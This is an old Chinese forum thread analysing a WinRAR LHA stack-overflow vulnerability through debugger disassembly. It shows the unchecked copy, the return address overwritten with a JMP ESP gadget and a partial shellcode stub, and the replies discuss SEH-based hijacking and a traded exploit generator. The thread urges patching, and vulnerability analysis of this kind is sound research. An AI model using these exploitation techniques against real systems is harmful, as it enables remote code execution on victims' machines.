首页
社区
课程
招聘
来看看WINRAR溢出漏洞吧,写个SHELLCODE就可以捆绑程序[注意]
发表于: 2006-12-11 22:22 8752

来看看WINRAR溢出漏洞吧,写个SHELLCODE就可以捆绑程序[注意]

2006-12-11 22:22
8752

这个地址是那个漏洞的介绍:

http://star.elife.com.cn/article/2006/0725/A20060725144447.shtml

下面是我分析它溢出部分的程序.版本3.41[只要3.60以下,这个子程序是一样的,只是地址有变化]
分析环境 WINDOWS 2000
调试软件 SOFTICE
WINRAR 3.41
中间有些程序部分,因为不是溢出关键地方省去了

这个是处理 LHA 文件的部分。溢出是由他造成的。

001B:016B2828  53                  PUSH      EBX
001B:016B2829  56                  PUSH      ESI
001B:016B282A  57                  PUSH      EDI
001B:016B282B  55                  PUSH      EBP
进入子程序运行到此的堆栈

0023:001237A8  001238E4  001249B0  00997DA4  001238F4      .8...I...}...8..
               返回地址
               --------
0023:001237B8  016B1F41  00123D80  00000000  00000000      A.k..=..........
001B:016B282C  81C404F0FFFF        ADD       ESP,FFFFF004
001B:016B2832  50                  PUSH      EAX
001B:016B2833  81C4F4FBFFFF        ADD       ESP,FFFFFBF4
001B:016B2839  8BDA                MOV       EBX,EDX
001B:016B283B  890424              MOV       [ESP],EAX
运行到此处的堆栈内容
:dd esp l20
0023:0012239C  016BC5E0  00000000  00000000  00000000      ..k.............
0023:001223AC  00000000  00000000  00000000  00000000      ................
001B:016B283E  BF1C136C01          MOV       EDI,016C131C
001B:016B2843  33C0                XOR       EAX,EAX

001B:016B2B00  8A0A                MOV       CL,[EDX]
001B:016B2B02  81E1FF000000        AND       ECX,000000FF
001B:016B2B08  49                  DEC       ECX
001B:016B2B09  740D                JZ        016B2B18------->copy数据
001B:016B2B0B  49                  DEC       ECX     
001B:016B2B0C  7437                JZ        016B2B45------->copy数据
001B:016B2B0E  83E93E              SUB       ECX,3E
001B:016B2B11  747A                JZ        016B2B8D
001B:016B2B13  E991000000          JMP       016B2BA9
001B:016B2B18  81FE00010000        CMP       ESI,00000100
001B:016B2B1E  7C05                JL        016B2B25
001B:016B2B20  BEFF000000          MOV       ESI,000000FF
001B:016B2B25  33C0                XOR       EAX,EAX
001B:016B2B27  EB0E                JMP       016B2B37
001B:016B2B29  8B17                MOV       EDX,[EDI]
001B:016B2B2B  8A0A                MOV       CL,[EDX]
001B:016B2B2D  80E1FF              AND       CL,FF
001B:016B2B30  884C0316            MOV       [EAX+EBX+16],CL
001B:016B2B34  FF07                INC       DWORD PTR [EDI]
001B:016B2B36  40                  INC       EAX
001B:016B2B37  8D56FD              LEA       EDX,[ESI-03]
001B:016B2B3A  3BC2                CMP       EAX,EDX
001B:016B2B3C  7CEB                JL        016B2B29
001B:016B2B3E  C644331300          MOV       BYTE PTR [ESI+EBX+13],00
001B:016B2B43  EB6B                JMP       016B2BB0
001B:016B2B45  81FE00040000        CMP       ESI,00000400----->这里的长度竟然可以是1023
001B:016B2B4B  7C05                JL        016B2B52--------->这个长度是致命,溢出
001B:016B2B4D  BEFF030000          MOV       ESI,000003FF     ;3.61后的版本把这里去掉了
001B:016B2B52  33C0                XOR       EAX,EAX          ;所以也就不溢出了
001B:016B2B54  EB11                JMP       016B2B67
001B:016B2B56  8B17                MOV       EDX,[EDI]
001B:016B2B58  8A0A                MOV       CL,[EDX]
001B:016B2B5A  80E1FF              AND       CL,FF
001B:016B2B5D  888C040C100000      MOV       [EAX+ESP+0000100C],CL
001B:016B2B64  FF07                INC       DWORD PTR [EDI]
001B:016B2B66  40                  INC       EAX
001B:016B2B67  8D56FD              LEA       EDX,[ESI-03]
001B:016B2B6A  3BC2                CMP       EAX,EDX
001B:016B2B6C  7CE8                JL        016B2B56
001B:016B2B6E  C684340910000000    MOV       BYTE PTR [ESI+ESP+00001009],00
001B:016B2B76  8D84240C100000      LEA       EAX,[ESP+0000100C]
001B:016B2B7D  B25C                MOV       DL,5C
001B:016B2B7F  E8E8FBFFFF          CALL      016B276C
001B:016B2B84  83C6FD              ADD       ESI,-03
001B:016B2B87  89742404            MOV       [ESP+04],ESI
001B:016B2B8B  EB23                JMP       016B2BB0
001B:016B2B8D  8A8319010000        MOV       AL,[EBX+00000119]
001B:016B2B93  3C4D                CMP       AL,4D

001B:016B2BE8  880B                MOV       [EBX],CL
001B:016B2BEA  837C240400          CMP       DWORD PTR [ESP+04],00
001B:016B2BEF  7429                JZ        016B2C1A
001B:016B2BF1  8D7316              LEA       ESI,[EBX+16]
001B:016B2BF4  56                  PUSH      ESI------>str1
001B:016B2BF5  8D842410100000      LEA       EAX,[ESP+00001010]
001B:016B2BFC  50                  PUSH      EAX------>str2
001B:016B2BFD  E8FE190000          CALL      016B4600----->合并串把str1+str2->str1
001B:016B2C02  83C408              ADD       ESP,08
001B:016B2C05  8D94240C100000      LEA       EDX,[ESP+0000100C]
001B:016B2C0C  52                  PUSH      EDX         不能溢出的等于000002AA
001B:016B2C0D  56                  PUSH      ESI         str1长度等于000004E3
001B:016B2C0E  E8291A0000          CALL      016B463C---->堆栈溢出位置
             这个地方是堆栈溢出的地方,他没有判断长度,所以才导致溢出
             在3.61之后,在这里加了一个长度限制,最长255,所以就保险了
001B:016B2C13  83C408              ADD       ESP,08
001B:016B2C16  036C2404            ADD       EBP,[ESP+04]
001B:016B2C1A  33C0                XOR       EAX,EAX
001B:016B2C1C  3BE8                CMP       EBP,EAX
001B:016B2C1E  7E15                JLE       016B2C35
001B:016B2C20  33D2                XOR       EDX,EDX
001B:016B2C22  8A540316            MOV       DL,[EAX+EBX+16]
001B:016B2C26  83FA2F              CMP       EDX,2F
001B:016B2C29  7505                JNZ       016B2C30
001B:016B2C2B  C64403165C          MOV       BYTE PTR [EAX+EBX+16],5C
001B:016B2C30  40                  INC       EAX
001B:016B2C31  3BE8                CMP       EBP,EAX
001B:016B2C33  7FEB                JG        016B2C20
001B:016B2C35  8D4316              LEA       EAX,[EBX+16]
001B:016B2C38  50                  PUSH      EAX
001B:016B2C39  50                  PUSH      EAX
001B:016B2C3A  E835890000          CALL      USER32!OemToCharA
001B:016B2C3F  B001                MOV       AL,01
001B:016B2C41  81C40C140000        ADD       ESP,0000140C
运行此处时的堆栈已经变成这样了。
:dd esp l 30
0023:001237A8  9241974B  49934146  90494E96  4B924545      K.A.FA.I.NI.EE.K

               返回地址变成了7FFA4512, 仔细看一下这个位置是JMP ESP 可以执行SHELLCODE了
               --------
0023:001237B8  7FFA4512  484E9590  4A454E46  964B454E      .E...NHFNEJNEK.
0023:001237C8  42414397  4B494192  41434E41  4A90914E      .CAB.AIKANCAN..J
001B:016B2C47  5D                  POP       EBP
001B:016B2C48  5F                  POP       EDI
001B:016B2C49  5E                  POP       ESI
001B:016B2C4A  5B                  POP       EBX
001B:016B2C4B  C3                  RET

======================这条指令很关键啊====================================
001B:7FFA4512  FFE4                JMP       ESP   ===1237BC
这时的堆栈里面的内容
0023:001237BC 90 95 4E 48 46 4E 45 4A-4E 45 4B 96 97 43 41 42  ..NHFNEJNEK..CAB
0023:001237CC 92 41 49 4B 41 4E 43 41-4E 91 90 4A 95 96 41 90  .AIKANCAN..J..A.
堆栈里面反汇编后的代码
001B:001237BC  90                  NOP
001B:001237BD  95                  XCHG      EAX,EBP
001B:001237BE  4E                  DEC       ESI
001B:001237BF  48                  DEC       EAX
001B:001237C0  46                  INC       ESI
001B:001237C1  4E                  DEC       ESI
001B:001237C2  45                  INC       EBP
001B:001237C3  4A                  DEC       EDX
001B:001237C4  4E                  DEC       ESI
001B:001237C5  45                  INC       EBP
001B:001237C6  4B                  DEC       EBX
001B:001237C7  96                  XCHG      EAX,ESI
001B:001237C8  97                  XCHG      EAX,EDI
001B:001237C9  43                  INC       EBX
001B:001237CA  41                  INC       ECX
001B:001237CB  42                  INC       EDX
001B:001237CC  92                  XCHG      EAX,EDX
001B:001237CD  41                  INC       ECX
001B:001237CE  49                  DEC       ECX
001B:001237CF  4B                  DEC       EBX
001B:001237D0  41                  INC       ECX
001B:001237D1  4E                  DEC       ESI
001B:001237D2  43                  INC       EBX
001B:001237D3  41                  INC       ECX
001B:001237D4  4E                  DEC       ESI
001B:001237D5  91                  XCHG      EAX,ECX
001B:001237D6  90                  NOP
001B:001237D7  4A                  DEC       EDX
001B:001237D8  95                  XCHG      EAX,EBP
001B:001237D9  96                  XCHG      EAX,ESI
001B:001237DA  41                  INC       ECX
001B:001237DB  90                  NOP
001B:001237DC  4E                  DEC       ESI
001B:001237DD  41                  INC       ECX
001B:001237DE  96                  XCHG      EAX,ESI
001B:001237DF  4E                  DEC       ESI
001B:001237E0  49                  DEC       ECX
001B:001237E1  90                  NOP
001B:001237E2  4E                  DEC       ESI
001B:001237E3  41                  INC       ECX
001B:001237E4  45                  INC       EBP
001B:001237E5  4E                  DEC       ESI
001B:001237E6  90                  NOP
001B:001237E7  45                  INC       EBP
001B:001237E8  41                  INC       ECX
001B:001237E9  90                  NOP
001B:001237EA  54                  PUSH      ESP
001B:001237EB  5B                  POP       EBX
001B:001237EC  B856524152          MOV       EAX,52415256
001B:001237F1  40                  INC       EAX
001B:001237F2  43                  INC       EBX
001B:001237F3  3B03                CMP       EAX,[EBX]
001B:001237F5  75FB                JNZ       001237F2
001B:001237F7  83C304              ADD       EBX,04
001B:001237FA  53                  PUSH      EBX
001B:001237FB  33C9                XOR       ECX,ECX
001B:001237FD  66B92009            MOV       CX,0920
001B:00123801  43                  INC       EBX
001B:00123802  803B5C              CMP       BYTE PTR [EBX],5C
001B:00123805  7503                JNZ       0012380A
001B:00123807  8003A3              ADD       BYTE PTR [EBX],A3
001B:0012380A  E2F5                LOOP      00123801
001B:0012380C  C3                  RET

希望看到这篇文章的朋友,尽快地打补丁


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (5)
雪    币: 146
活跃值: (72)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2

这也可以....偶的是3.50.赶快更新.
2006-12-11 22:25
0
雪    币: 339
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
3
是前阵子暗地流行那个吧?被人倒卖了n次,我们当时也弄了个生成器,不过由于不是原创,因此一直是自己耍耍玩,没敢参与
2006-12-11 22:35
0
雪    币: 231
活跃值: (35)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
4
最初由 nbw 发布
是前阵子暗地流行那个吧?被人倒卖了n次,我们当时也弄了个生成器,不过由于不是原创,因此一直是自己耍耍玩,没敢参与


不知道,你可以看看那段 SHELLCODE代码给你是不是一样,我只给出了部分
2006-12-11 22:46
0
雪    币: 258
活跃值: (230)
能力值: ( LV12,RANK:770 )
在线值:
发帖
回帖
粉丝
5
001B:001237BC  
ShellCode 代码是你自己写的么?
是在同一个进程地址么?
益出的时候,优先级别最高运行的是SEH遍历,确认找到最后那个没有被覆盖的SEH链,然后攻击这个SEH处理句柄.跳转自己的shellcode..
这样执行自己shellcode很保险.当然其他方法也有,偶就不熟悉了.
这个方法被那些大牛们有踏透了捏.
2006-12-12 10:36
0
雪    币: 50141
活跃值: (20740)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
6
谢谢softdebug的文章,大家赶快升级WinRAR到3.62
2006-12-12 10:54
0
游客
登录 | 注册 方可回帖
返回
// // 统计代码